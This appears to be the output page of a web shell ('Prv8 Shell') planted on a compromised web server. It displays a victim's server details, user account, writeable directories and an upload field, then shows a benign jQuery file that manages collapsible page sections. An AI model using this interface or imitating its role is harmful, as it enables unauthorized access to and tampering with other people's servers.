Prv8 Shell
Server : Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4
System : Linux server.jackjohnson.com 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
User : jackjohn ( 502)
PHP Version : 5.3.17
Disable Function : NONE
Directory :  /home/jackjohn/public_html/shopsite-images/en-IE/javascript/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/jackjohn/public_html/shopsite-images/en-IE/javascript/collapse.js
var open_section_list = [], collapsible_cookie={}, current_cgi;

function toggle_section(a, setc){
	let b = $(a).next().next();
	if(b.is(':hidden'))
		show_section(b, setc);
	else 
		hide_section(b, setc);
}
function show_section(b, setc){
	b.prev('.collapsible_explanation').show();
	b.show().prev().prev().find('.section_collapse_toggle').html('–');

	let generated_id = b.prev().prev().prop('id');
	if (open_section_list.indexOf(generated_id) == -1)
		open_section_list.push(generated_id);
	if (setc)
		set_collapsible_cookie();
}
function hide_section(b, setc){
	let generated_id = b.prev().prev().prop('id'), index;
	b.prev('.collapsible_explanation').hide();
	b.hide().prev().prev().find('.section_collapse_toggle').html('+');
	if ((index = open_section_list.indexOf(generated_id)) != -1)
		open_section_list.splice(index, 1);
	if (setc)
		set_collapsible_cookie();
}

function set_collapsible_cookie() {
	collapsible_cookie[current_cgi] = open_section_list;
	let cookie = JSON.stringify(collapsible_cookie);
	set_cookie("collapsible_sections", cookie, 365);
}

ss_jQuery(function($){
	if ($('.collapsible').length) {
		var use_defaults = 0;
		current_cgi = window.location.href.match(/([^\/]+)\.cgi/i)[1];

		collapsible_cookie = get_cookie("collapsible_sections");
		if (!collapsible_cookie) {
			collapsible_cookie = {};
			use_defaults = 1;
			collapsible_cookie[current_cgi] = [];
		} else if(/^body_(power_edit|add_multiple)/.test($('body').attr('id'))) {
			collapsible_cookie = {};
			use_defaults = 2;
			collapsible_cookie[current_cgi] = [];
		} else {
			collapsible_cookie = JSON.parse(collapsible_cookie);
			if (!collapsible_cookie.hasOwnProperty(current_cgi)) {
				use_defaults = 1;
				collapsible_cookie[current_cgi] = [];
			}
		}

		if (!use_defaults)
			open_section_list = collapsible_cookie[current_cgi];

		$('.collapsible').append($('<span class="section_collapse_toggle noSelect">+</span>')).on('click',function(){toggle_section(this, true)});
		$('.section_head.collapsible a').css({'float':'left'});

		var opened_count = 0;

		$('.collapsible').each(function (index) {
			let id_to_use;
			if ($(this).prop('id').length == 0) {
				let name = $(this).find('a').prop('name'), generated_id = name.trim().toLowerCase().replace(/ /g, "_").replace(/<(?:.|\n)*?>/gm, '').replace(/\W/g, '')+"_gen_id";
					$(this).prop('id', generated_id);
					id_to_use = generated_id;
			} else
				id_to_use = $(this).prop('id');

			if (use_defaults) {
				if ($(this).hasClass('col_def_open')) {
					toggle_section(this, false);
					opened_count++;
				}
			} else if (collapsible_cookie[current_cgi].indexOf(id_to_use) != -1) {
				toggle_section(this, false);
				opened_count++;
			}
		});

		collapsible_cookie[current_cgi] = open_section_list;
		if (use_defaults == 1) {      
			set_collapsible_cookie();
		}

		if($('.collapsible').length > 1) {
			$('.config_table:first').before('<div class=\"sections_global\" id=\"collapse_hide\">'+$('#collapse_hide_template').html()+'</div><div class=\"sections_global\" id=\"collapse_show\">'+$('#collapse_show_template').html()+'</div>');
			if (opened_count > 0) {
				$('#collapse_hide').show();
				$('#collapse_show').hide();
			} else {
				$('#collapse_hide').hide();
				$('#collapse_show').show();
			}

			$(document).on('click', '.all_hide', function() { 
				$('.collapsible').each(function(index){hide_section($(this).next().next(),false);});
				set_collapsible_cookie();
				$('.sections_global').toggle();
			});

			$(document).on('click', '.all_show', function() { 
				$('.collapsible').each(function(index){show_section($(this).next().next(),false);});
				set_collapsible_cookie();
				$('.sections_global').toggle();
			});
		}
	}
});

haha - 2025